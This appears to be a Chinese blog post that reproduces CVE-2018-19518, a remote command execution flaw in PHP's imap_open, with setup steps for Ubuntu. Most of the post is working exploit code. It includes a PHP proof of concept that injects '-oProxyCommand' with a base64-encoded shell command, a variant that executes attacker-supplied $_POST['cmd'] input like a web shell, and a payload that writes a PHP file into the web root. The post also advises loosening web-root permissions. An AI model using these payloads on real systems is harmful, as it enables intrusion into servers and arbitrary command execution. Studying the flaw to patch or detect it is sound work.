PHP imap_open RCE漏洞复现
Posted 漏洞感知
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP imap_open RCE漏洞复现相关的知识,希望对你有一定的参考价值。
CVE-2018-19518漏洞基本介绍
用于php和其他产品中的imapopen(),启动rsh命令(通过c-client imap4r1.c中的imaprimap函数和osdep/unix/tcpunix中的tcpaopen函数)不阻止参数注入,如果IMAP服务器名称是不可信输入(例如,由Web应用程序的用户输入)并且rsh已被具有不同参数的程序替换,则可能允许远程攻击者执行任意OS命令语义。 例如,如果rsh是ssh的链接(如Debian和Ubuntu系统上所示),则攻击可以使用包含“-oProxyCommand”参数的IMAP服务器。
搭建环境
Ubuntu 16.04 php 7.03 cd /etc/php/7.0/cli/php.ini vi php.ini 去掉php_imap.dll前面的分号
apt-get install php-imap (相关功能用到的动态库),service apache2 restart(一定要重启)
执行本地poc代码
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die(" Error: ".imap_last_error());
自己构造一个远程的执行代码
$youcmd=$_POST['cmd'];
$server = "x -oProxyCommand=echo ".$youcmd."|base64 -d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die(" Error: ".imap_last_error());
Cmd的内容是base64 这里我们用
ZWNobyAnPD9waHAgcGhwaW5mbygpOycgPi92YXIvd3d3L2h0bWwvcC5waHA=
//echo '<?php phpinfo();' >/var/www/html/p.php
注意如果写入文件失败看下你是否有目录写权限如果是root操作安装默认的是www-data无法写入的,可以
chmod 775 -R /var/www/html
漏洞感知评价
这个漏洞需要PHP开启imap服务,imap是邮箱的一个协议,一般一些大网站用邮箱找回账号密码可能会存在这个漏洞。
以上是关于PHP imap_open RCE漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
漏洞复现phpStudy 小皮 Windows面板 RCE漏洞